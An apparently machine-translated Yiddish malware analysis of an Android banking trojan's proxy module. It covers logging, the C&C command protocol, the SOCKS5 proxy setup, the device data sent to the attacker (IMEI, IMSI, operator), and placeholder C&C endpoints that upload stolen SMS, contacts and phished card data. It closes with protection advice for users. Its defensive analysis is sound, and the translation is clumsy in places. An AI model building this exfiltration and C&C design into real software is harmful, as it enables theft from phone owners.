ืื ืึทืคึผืืึทืงืืืฉืึทื ืืื ืืขืจ ืืขืจื ืขื ืึผืืื ืึท ืืึทืงืงืงืึธื ื ืขืงื ืคึผืจืึธืงืกื ืืึธืืืืข (ืืขืจื ืึธื ืจืืคืขืจื ืฆื ืืื ืื ืคึผืจืึธืงืกื ืืึธืืืืข), ืืืึธืก ืืื ืึท ืืึทืืื ืืขืจ ืงืืึทืก ืืืึธืก ืืืื ืกืืึทืืืง ืคืขืืืขืจ ืืื ืงืึทื ืคืืืืขืจืืืฉืึทื. ืงืึทื ืคืืืืขืจืืืฉืึทื ืืึทืื ืืขื ืขื ืกืืึธืจื ืืื ืืขืจ ืืืกืืขืจ ืืื ืงืืึธืจ ืคืึธืจืขื:
ืื ืึทืงืฉืึทื ื ืืขืืื ืืืจื ืื ืคึผืจืึธืงืกื ืืึธืืืืข ืืขื ืขื ืืึธืื ืืื ืืขืงืขืก. ืฆื ืืึธื ืืึธืก, ืื ืึทืคึผืืึทืงืืืฉืึทื ืืื ืขืงืกืืขืจื ืึทื ืกืืึธืจืืืืฉ ืงืจืืืืฅ ืึท ืืืขืืืืืึทืืขืจ ืืขืจืืคึฟื "ืืึธืืก" (ืื ProxyConfigClass.logsDir ืคืขืื ืืื ืื ืงืึทื ืคืืืืขืจืืืฉืึทื ืงืืึทืก), ืืื ืืืึธืก ืืึธื ืืขืงืขืก ืืขื ืขื ืกืืึธืจื. ืืึธืืื ื ืึทืงืขืจื ืืื ืืขืงืขืก ืืื ื ืขืืขื:
- main.txt - ืื ืึทืจืืขื ืคืื ืื ืงืืึทืก ืืขืจืืคึฟื CommandServer ืืื ืืึธืื ืืื ืืขื ืืขืงืข. ืืื ืืืึธืก ืืืื, ืืึธืืื ื ืื ืฉืืจืืงื ืกืืจ ืืื ืืขื ืืขืงืข ืืืขื ืืืื ืืื ืึธืืืึทื ืืื mainLog (str).
- ืกืขืกืืข-<%id%>.ืืงืกื - ืืขืจ ืืขืงืข ืกืึทืืืขืก ืงืืึธืฅ ืืึทืื ืคึฟืึทืจืืื ืื ืืื ืึท ืกืคึผืขืฆืืคืืฉ ืคืจืืงืกื ืกืขืกืืข. ืืื ืืืึธืก ืืืื, ืืึธืืื ื ืื ืฉืืจืืงื ืกืืจ ืฆื ืืขื ืืขืงืข ืืืขื ืืืื ืืื ืึธืืืึทื ืืื ืกืขืกืืขืืึธื (ืกืืจ).
- ืกืขืจืืืขืจ.ืืงืกื - ืืขืจ ืืขืงืข ืืื ืืขื ืืฆื ืฆื ืงืืึธืฅ ืึทืืข ืืึทืื ืืขืฉืจืืื ืฆื ืื ืืืืื-ืืืกืงืจืืืื ืืขืงืขืก.
ืงืืึธืฅ ืืึทืื ืคึฟืึธืจืืึทื:
<% ืืึธื%> [ืคืึธืืขื[<% ืคึฟืึธืืขื ืฉืืึทื%>], ืฉืืึทื []]: ืงืืึธืฅ-ืฉืืจืืงื
ืืงืกืขืคึผืฉืึทื ื ืืืึธืก ืคืึทืื ืืขืฉืึทืก ืื ืึธืคึผืขืจืึทืฆืืข ืคืื โโืื ืคึผืจืึธืงืกื ืืึธืืืืข ืืขื ืขื ืืืื ืืึธืื ืฆื ืึท ืืขืงืข. ืฆื ืืึธื ืืึธืก, ืื ืึทืคึผืืึทืงืืืฉืึทื ืืืฉืขื ืขืจืืืฅ ืึท JSON ืืืืคืขืฅ ืืื ืื ืคืืืืขื ืืข ืคึฟืึธืจืืึทื:
{
"uncaughtException":<%short description of throwable%>
"thread":<%thread%>
"message":<%detail message of throwable%>
"trace": //Stack trace info
[
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
},
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
}
]
}ืืขืจื ืึธื ืขืก ืงืึทื ืืืขืจืฅ ืขืก ืฆื ืึท ืฉืืจืืงื ืคืึทืจืืจืขืืื ื ืืื ืืึธืืก ืขืก.
ืื ืคึผืจืึธืงืกื ืืึธืืืืข ืืื ืืึธื ืืฉื ื ืึธื ืืืงืืืขื ืื ืงืึธืจืึทืกืคึผืึทื ืืื ื ืืึทืคึฟืขื. ืืืขื ืึท ืืึทืคึฟืขื ืฆื ืงืึทืืขืจ ืื ืคึผืจืึธืงืกื ืืึธืืืืข ืืื ืืืงืืืขื, ืื ืึทืคึผืืึทืงืืืฉืึทื ืกืืึทืจืฅ ืึท ืกืขืจืืืืก ืืขืจืืคื MainService, ืืืึธืก ืืื ืคืึทืจืึทื ืืืืึธืจืืืขื ืคึฟืึทืจ ืึธื ืคืืจืื ื ืื ืึธืคึผืขืจืึทืฆืืข ืคืื โโืื ืคึผืจืึธืงืกื ืืึธืืืืข - ืกืืึทืจืืื ื ืืื ืกืืึธืคึผืคึผืื ื ืขืก.
ืกืืึทืืขืก ืคืื ืึธื ืืืื ืื ืืื ืกื:
1. ืกืืึทืจืฅ ืึท ืืืึทืืขืจ ืืืึธืก ืืืืคื ืึทืืึธื ืึท ืืื ืื ืืื ืืฉืขืง ืื ืืขืืืงืืื ืคืื ืื ืคึผืจืึธืงืกื ืืึธืืืืข. ืืืื ืืขืจ ืืึธืืืืข ืืื ื ืืฉื ืึทืงืืืื, ืขืก ืกืืึทืจืฅ ืขืก.
ืืืื ืืืขื ืื ืืขืฉืขืขื ืืฉ ืืื ืืจืืืขืจื android.net.conn.CONNECTIVITY_CHANGE ืื ืคึผืจืึธืงืกื ืืึธืืืืข ืืื ืืึธื ืืฉื.
2. ืื ืึทืคึผืืึทืงืืืฉืึทื ืงืจืืืืฅ ืึท ืืืขืงื-ืฉืืึธืก ืืื ืืขื ืคึผืึทืจืึทืืขืืขืจ PARTIAL_WAKE_LOCK ืืื ืืึทืคึผื ืืื. ืืขื ืคึผืจืืืืขื ืฅ ืื ืืืื ืงืคึผื ืคืื ืืืื ืืื ืฉืืึธืคื ืืึธืืข.
3. ืืึธื ืืฉืื ืื ืืึทืคึฟืขื ืคึผืจืึทืกืขืกืื ื ืงืืึทืก ืคืื ืื ืคึผืจืึธืงืกื ืืึธืืืืข, ืขืจืฉืืขืจ ืืึธืืื ื ืื ืฉืืจื mainLog ("ืึธื ืืืื ืกืขืจืืืขืจ") ะธ
ืกืขืจืืืืจืขืจ :: ืึธื ืืืื () ืืึทืืขืืึธืก [<% ืคึผืจืึธืงืกื_ืงื ืง%>], ืืึทืคึฟืขืืืคึผืึธืจื [<% ืืึทืคึฟืขื_ืคึผืึธืจื%>], ืคืจืืงืกืืคึผืึธืจื [<% ืคึผืจืึธืงืกื_ืคึผืึธืจื%>]
ืืื proxy_cnc, command_port ืืื proxy_port - ืคึผืึทืจืึทืืขืืขืจืก ืืืงืืืขื ืคืื ืื ืคึผืจืึทืงืกื ืกืขืจืืืขืจ ืงืึทื ืคืืืืขืจืืืฉืึทื.
ืื ืืึทืคึฟืขื ืคึผืจืึทืกืขืกืื ื ืงืืึทืก ืืื ืืขืจืืคื CommandConnection. ืืืืื ื ืึธื ืกืืึทืจืืึทืคึผ, ืืืจืืคืืจื ืื ืคืืืืขื ืืข ืึทืงืฉืึทื ื:
4. ืงืึทื ืขืงืฅ ืฆื ProxyConfigClass.host: ProxyConfigClass.commandPort ืืื ืกืขื ืื ืืึธืจื ืืึทืื ืืืขืื ืื ืื ืคืขืงืืึทื ืืืื ืืื JSON ืคึฟืึธืจืืึทื:
{
"id":<%id%>,
"imei":<%imei%>,
"imsi":<%imsi%>,
"model":<%model%>,
"manufacturer":<%manufacturer%>,
"androidVersion":<%androidVersion%>,
"country":<%country%>,
"partnerId":<%partnerId%>,
"packageName":<%packageName%>,
"networkType":<%networkType%>,
"hasGsmSupport":<%hasGsmSupport%>,
"simReady":<%simReady%>,
"simCountry":<%simCountry%>,
"networkOperator":<%networkOperator%>,
"simOperator":<%simOperator%>,
"version":<%version%>
}ืืื:
- id - ืืืขื ืืืคืืขืจ, ืคืจืืืื ืฆื ืืึทืงืืืขื ืึท ืืืขืจื ืืื ืื "ืฉืืึทื" ืคืขืื ืคืื ืื ืฉืขืจื ืคึผืจืขืคึฟืขืจืขื ืฆื ืืขืงืข ืืขืืืืกื "ืจืขื ืืืขื ". ืืืื ืืขื ืืืขืจื ืงืขื ื ืืฉื ืืืื ืืืงืืืขื, ืขืก ืืืฉืขื ืขืจืืืฅ ืึท ื ืืึทืข. ืืืื, ืื ืคึผืจืึธืงืกื ืืึธืืืืข ืืื ืืืื ืืืืืขื ืข ืืืืขื ืืืืขื, ืืืึธืก ืืื ืืืฉืขื ืขืจืืืืึทื ืขื ืืขื ืฆื ืื Bot ID.
- imei - IMEI ืคืื ืื ืืืื. ืืืื ืึท ืืขืืช ืืื ืคืืจืืขืงืืืขื ืืขืฉืึทืก ืืขื ืคึผืจืึธืฆืขืก ืคืื ืืืงืืืขื ืื ืืืขืจื, ืึท ืืขืืช ืืขืงืกื ืึธื ืืึธื ืืืขื ืืืื ืืขืฉืจืืื ืึทื ืฉืืึธื ืคืื ืืขื ืคืขืื.
- imsi - ืืื ืืขืจื ืึทืฆืืึธื ืึทืืข ืืึธืืื ืึทืืึธื ืขื ื ืืืืขื ืืืืขื ืคืื ืื ืืืื. ืืืื ืึท ืืขืืช ืืื ืคืืจืืขืงืืืขื ืืขืฉืึทืก ืืขื ืคึผืจืึธืฆืขืก ืคืื ืืืงืืืขื ืื ืืืขืจื, ืึท ืืขืืช ืืขืงืกื ืึธื ืืึธื ืืืขื ืืืื ืืขืฉืจืืื ืึทื ืฉืืึธื ืคืื ืืขื ืคืขืื.
- ืืึธืืขื - ืืขืจ ืกืืฃ-ืืึทื ืืฆืขืจ-ืงืขื ืืืง ื ืึธืืขื ืคึฟืึทืจ ืื ืกืืฃ ืคึผืจืึธืืืงื.
- ืคืึทืืจืืงืึทื ื - ืืขืจ ืคืึทืืจืืงืึทื ื ืคืื ืื ืคึผืจืึธืืืงื / ืืึทืื ืืืึทืจื (Build.MANUFACTURER).
- androidVersion - ืึท ืฉืืจืืงื ืืื ืืขื ืคึฟืึธืจืืึทื "<%release_version%> (<%os_version%>),<%sdk_version%>"
- ืืึทื ื - ืงืจืึทื ื ืึธืจื ืคืื ืื ืืืื.
- partnerId ืืื ืึท ืืืืืืง ืฉืืจืืงื.
- ืคึผืขืงื ื ืึธืืขื - ืคึผืขืงื ื ืึธืืขื.
- networkType - ืืืคึผ ืคืื ืงืจืึทื ื ื ืขืฅ ืงืฉืจ (ืืืึทืฉืคึผืื: "WIFI", "ืืึธืืื"). ืืื ืคืึทื ืคืื ืืขืืช, ืงืขืจื ื ืึทื.
- hasGsmSupport - ืืืช - ืืืื ืืขืจ ืืขืืขืคืึธื ืฉืืืฆื GSM, ืึทื ืืขืจืฉ ืคืึทืืฉ.
- simReady - ืกืื ืงืึธืจื ืฉืืึทื.
- simCountry - ISO ืืืื ื ืงืึธื (ืืืืืจื ืืืืฃ ืื ืกืื ืงืึธืจื ืฉืคึผืืึทืืขืจ).
- ื ืขืฅ ืึธืคึผืขืจืึทืืึธืจ - ืึธืคึผืขืจืึทืืึธืจ ื ืึธืืขื. ืืืื ืึท ืืขืืช ืืื ืคืืจืืขืงืืืขื ืืขืฉืึทืก ืืขื ืคึผืจืึธืฆืขืก ืคืื ืืืงืืืขื ืื ืืืขืจื, ืึท ืืขืืช ืืขืงืกื ืึธื ืืึธื ืืืขื ืืืื ืืขืฉืจืืื ืึทื ืฉืืึธื ืคืื ืืขื ืคืขืื.
- simOperator - ืื ืกืขืจืืืืก ืคึผืจืึทืืืืืืขืจ ื ืึธืืขื (SPN). ืืืื ืึท ืืขืืช ืืื ืคืืจืืขืงืืืขื ืืขืฉืึทืก ืืขื ืคึผืจืึธืฆืขืก ืคืื ืืืงืืืขื ืื ืืืขืจื, ืึท ืืขืืช ืืขืงืกื ืึธื ืืึธื ืืืขื ืืืื ืืขืฉืจืืื ืึทื ืฉืืึธื ืคืื ืืขื ืคืขืื.
- ืืืขืจืกืืข - ืืขื ืคืขืื ืืื ืกืืึธืจื ืืื ืื ืงืึทื ืคืืืืขืจืืืฉืึทื ืงืืึทืก; ืคึฟืึทืจ ืื ืืขืกืืขื ืืืขืจืกืืขืก ืคืื ืื ืืึธื ืขืก ืืื ืืขืืืขื ืืืืื ืฆื "1.6".
5. ืกืืืืืฉืึทื ืฆื ืื ืืึธืืข ืคืื โโืืืืจืื ืคึฟืึทืจ ืงืึทืืึทื ืื ืคืื ืื ืกืขืจืืืขืจ. ืงืึทืืึทื ืื ืคืื ืื ืกืขืจืืืขืจ ืงืืืขื ืืื ืืขื ืคึฟืึธืจืืึทื:
- 0 ืึธืคืกืขื - ืืึทืคึฟืขื
- 1 ืคืึธืืึธ - sessionId
- 2 ืคืึธืืึธ - ืืขื ื
- 4 ืคืึธืืึธ - ืืึทืื
ืืืขื ืึท ืืึทืคึฟืขื ืงืืื, ืื ืึทืคึผืืึทืงืืืฉืึทื ืืึธืืก:
mainLog("ืืขืืขืจ {ืกืขื ืกืืื <% ืฉืืึทื%>], ืืืคึผ[<% ืืึทืคึฟืขื%>], ืืขื ื[<% ืืขื ื%>] }")
ืื ืคืืืืขื ืืข ืงืึทืืึทื ืื ืคืื ืื ืกืขืจืืืขืจ ืืขื ืขื ืืขืืืขื:
| ื ืึธืืขื | ืืึทืคืขื | ืืึทืืข | ืืึทืฉืจืืึทืืื ื |
|---|---|---|---|
| connectId | 0 | ืคึฟืึทืจืืื ืืื ื ืฉืืึทื | ืฉืึทืคึฟื ืึท ื ืืึทืข ืงืฉืจ |
| ืฉืืึธืฃ | 3 | ืฆืืึทื | ืคึผืืืืข ืื ืคึผืจืึธืงืกื ืืึธืืืืข |
| ืคึผืื ื ืคึผืึธื ื | 4 | - | ืฉืืงื PONG ืึธื ืืึธื |
ื PONG ืึธื ืืึธื ืืืฉืืืื ืคืื 4 ืืืืขืก ืืื ืงืืงื ืืื ืืึธืก: 0x04000000.
ืืืขื ืื ConnectionId ืืึทืคึฟืขื ืืื ืืืงืืืขื (ืฆื ืฉืึทืคึฟื ืึท ื ืืึทืข ืงืฉืจ) CommandConnection ืงืจืืืืฅ ืึท ืืืึทืฉืคึผืื ืคืื ืึท ืงืืึทืก ืคึผืจืึธืงืกืืงืึทื ืขืงืฉืึทื.
- ืฆืืืื ืงืืืกื ื ืขืืขื ืึธื ืืืื ืืื ืคึผืจืึทืงืกืืื ื: ืคึผืจืึธืงืกืืงืึทื ืขืงืฉืึทื ะธ ืขืง. ืืืขื ืงืจืืืืืื ื ืึท ืงืืึทืก ืคึผืจืึธืงืกืืงืึทื ืขืงืฉืึทื ืงืึทื ืขืงืืื ื ืฆื ืื ืึทืืจืขืก ProxyConfigClass.host: ProxyConfigClass.proxyPort ืืื ืคืึธืจื ืื JSON ืืืืคืขืฅ:
{
"id":<%connectionId%>
}ืืื ืขื ืืคืขืจ, ืืขืจ ืกืขืจืืืขืจ ืกืขื ืื ืึท SOCKS5 ืึธื ืืึธื ืืืึธืก ืึผืืื ืื ืึทืืจืขืก ืคืื ืื ืืืืึทื ืกืขืจืืืขืจ ืืื ืืืึธืก ืื ืงืฉืจ ืืืื ืืืื ืืขืืจืื ืืขื. ืื ืืขืจืึทืงืฉืึทื ืืื ืืขื ืกืขืจืืืขืจ ืึทืงืขืจื ืืืจื ืื ืงืืึทืก ืขืง. ืื ืงืึทื ืขืงืฉืึทื ืกืขืืึทืคึผ ืงืขื ืขื ืืืื ืกืืขืืึทืืืฉ ืจืขืคึผืจืืืขื ืืื ืืื ืืืื:
ื ืขืฅ ืื ืืขืจืึทืงืฉืึทื ื
ืฆื ืคืึทืจืืืึทืื ืคืึทืจืงืขืจ ืึทื ืึทืืืกืืก ืืืจื ื ืขืฅ ืกื ืืคืขืจื, ืื ืื ืืขืจืึทืงืฉืึทื ืฆืืืืฉื ืื CnC ืกืขืจืืืขืจ ืืื ืื ืึทืคึผืืึทืงืืืฉืึทื ืงืขื ืขื ืืืื ืคึผืจืึธืืขืงืืขื ืืื ืื SSL ืคึผืจืึธืืึธืงืึธื. ืื ืืจืึทื ืกืืืืืขื ืืึทืื ืคึฟืื ืืื ืฆื ืื ืกืขืจืืืขืจ ืืื ืืขืจืืื ืื ืืื JSON ืคึฟืึธืจืืึทื. ืื ืึทืคึผืืึทืงืืืฉืึทื ืขืงืกืึทืงืืืฅ ืื ืคืืืืขื ืืข ืจืืงืืืขืก ืืขืฉืึทืก ืึธืคึผืขืจืึทืฆืืข:
- http://<%CnC%>/api/v1/set_state.php โ ืืขืจ ืจืขืืืืืึทื ืคืื ืืขืจ ืืึทืคึฟืขืื ืืืจืืคืืจืื ื.
- http://<%CnC%>/api/v1/get.php โ ืืืงืืืขื ื ืืืคืขื.
- http://<%CnC%>/api/v1/load_sms.php - ืืึทืื ืืึธืืืื ื SMS ืึทืจืืืงืืขื ืคืื ืึท ืื ืคืขืงืืึทื ืืืื.
- http://<%CnC%>/api/v1/load_ab.php - ืืคึผืืึธืึทืืื ื ืึท ืจืฉืืื ืคืื ืงืึธื ืืึทืงืื ืคึฟืื ืึท ืื ืคืขืงืืึทื ืืืื.
- http://<%CnC%>/api/v1/aevents.php - ืื ืืขืื ืืื ืืขืืืื ืืืขื ืึทืคึผืืืืืื ื ืคึผืึทืจืึทืืขืืขืจืก ืืื ืื ืืืืขืจืืึทื ื ืืขืงืข.
- http://<%CnC%>/api/v1/set_card.php - ืืคึผืืึธืึทืืื ื ืืึทืื ืืืงืืืขื ืืื ืึท ืคืืฉืื ื ืคึฟืขื ืฆืืขืจ ืืืึธืก ืืื ืื Google ืคึผืืืึท ืืึทืจืงืขื.
- http://<%CnC%>/api/v1/logs.php - ืืคึผืืึธืึทืืื ื ืงืืึธืฅ ืืึทืื.
- http://<%CnC%>/api/v1/records.php - ืืคึผืืึธืึทืืื ื ืืึทืื ืืืงืืืขื ืืืจื ืคืืฉืื ื ืคึฟืขื ืฆืืขืจ.
- http://<%CnC%>/api/v1/set_error.php - ืึธื ืืึธื ืคืื ืึท ืืขืืช ืืืึธืก ืืื ืคืืจืืขืงืืืขื.
ืจืขืงืึทืืึทื ืืืืฉืึทื ื
ืืื ืกืืจ ืฆื ืืึทืฉืืฆื ืืืืขืจ ืงืึทืกืืึทืืขืจื ืคืื ืื ืกืึทืงืึธื ืข ืคืื โโืจืืจืขืืืืืง ืืจืึธืืืฉืึทื ืก, ืงืึธืืคึผืึทื ืืขืก ืืืื ื ืืฆื ืคืืืฉืืขื ืืืง ืกืึทืืืฉืึทื ื ืืืึธืก ืืึธืื ืืื ืฆื ืืึธื ืืืึธืจ ืืื ืคืึทืจืืืึทืื ืืืืืข ืึทืงืืืืืืืขืื ืึธื ืื ืกืืึธืืื ื ื ืึธื ืืืืืืืืืจื ืืืืฃ ืืึทื ืืฆืขืจ ืืขืืืืกืขืก.
ืฆื ืืึธื ืืึธืก, ืืกืืืข ืืขืืืึธืืก ืคึฟืึทืจ ืืืืขืงืืื ื ืจืืจืขืืืืืง ืืจืึธืืืฉืึทื ืก ืืึทืจืคึฟื ืฆื ืืืื ืืขืฉืืืจืงื ืืื ืืขืงื ืึทืืึทืืืฉืื ืคึฟืึทืจ ืึทื ืึทืืืืืื ื ืื ื ืึทืืืจ ืคืื ืืืืืข ืื ืงืืืขื ื ืืื ืื ืึทืคึผืืึทืงืืืฉืึทื ืืื. ืืขืจ ืฉืืฅ ืืึธื ืืืื ืึทืจืืึทื ื ืขืืขื ืึท ืืืื ืืขืืืืืืึทืฆืืข ืคึฟืื ืงืฆืืข ื ืืฆื ืืืืืืึทื ืคืื ืืขืจืคึผืจืื ื ืืขืื ืึธืืึธืืืข, ืืืึธืก ืืืขื ืืึทืื ืขืก ืืขืืืขื ืฆื ืคึฟืึทืจืฉืืืื ืืืขื ืึท ืืฉืืื ืืื ืืขื ืืฆื ืคืื ืึท ืืืืืคึผืืงืึทื ืืืื ืืื ืืื ืฉืืื ืืขืคืืื ืืื ืื ืืขื ื ืคืื ืึท ืฉืืืื ืืืขืจ.
ื ืคืึทื ืืึทืืขื ืืึทืื ืืืืืืืง ืคืื ื ืืื ืื ืึทืืืืืืึทืืืืึทืื ืคืื ืงืจืืึทื-ืงืึทื ืึทื ืึทื ืึทืืืกืืก, ืืืึธืก ืึทืืึทืื ืงืึธืืคึผืึทื ืืขืก ืฆื ืงืึธื ืืจืึธืืืจื ืจืืกืงืก ืืืึธืก ืืขื ืขื ื ืืฉื ืืืืื ืืืืฃ ืืขืจ ืืื ืืขืจื ืขืฅ, ืึธืืขืจ ืืืื ืืืืฃ ืื ืจืืจืขืืืืืง ืงืึทื ืึทื, ืคึฟืึทืจ ืืืึทืฉืคึผืื, ืืื ืึทืคึผืืึทืงืืืฉืึทื ื ืคึฟืึทืจ ืจืืจืขืืืืืง ืืึทื ืงืื ื, ืคึฟืึทืจ ืืจืึทื ืืึทืงืฉืึทื ื ืืื ืงืจืืคึผืืึธืงืืจืจืขื ืกื ืืื ืื ืืขืจืข. ืืจืึทื ืืึทืงืฉืึทื ื ืงืขื ืขื ืืืื ืืขืคืืจื ืืืืก.
ืืืืขืจืงืืึทื ืึผืืืื ืคึฟืึทืจ ื ืืฆืขืจืก:
- ืืึธื ื ืื ืื ืกืืึทืืืจื ืึทืคึผืืึทืงืืืฉืึทื ื ืคึฟืึทืจ ืึท ืจืืจืขืืืืืง ืืืื ืืื ืึทื ืืจืืื ืึทืก ืคึฟืื ืงืืื ืื ืืขืจืข ืงืืืืื ืืื Google ืคึผืืืึท, ืืึทืฆืึธืื ืกืคึผืขืฆืืขื ืืคืืขืจืงืืึทืืงืืื ืฆื ืื ืจืขืื ืคืืจืืื ืื ืืืจื ืื ืึทืคึผืืึทืงืืืฉืึทื;
- ืงืขืกืืืืขืจ ืื ืกืืึทืืืจื ืึทื ืืจืืื ืึทืก ืืขืจืืืึทื ืืืงืื ืืขื;
- ืืึทืฆืึธืื ืืคืืขืจืงืืึทืืงืืึทื ืฆื ืื ืืงืกืืขื ืฉืึทื ื ืคืื ืืึทืื ืืึธืืืื ืืขืงืขืก;
- ืืึธื ื ืื ืืึทืืืื ืกืึทืกืคึผืืฉืึทืก ืจืขืกืืจืกื;
- ืื ืืืืกื ื ืืฉื ืืื ืืืืฃ ืืื ืงืก ืืืงืืืขื ืืื SMS ืึทืจืืืงืืขื.
ืกืืึทืจืื ื ืกืขืืืึธื ืจืึธืืึทืืฉืขืืืึท, ืืื ืืขืจ ืืืืืข ืืื ืืึทืืืืึทืจืข ืคืึธืจืฉืื ื ืืื ืื ืืจืืคืข-ืื ืงืึธืืคึผืืืืขืจ ืคืึธืจืขื ืกืืงืก ืืึทืืึธืจืึทืืึธืจืืข.
ืืงืืจ: www.habr.com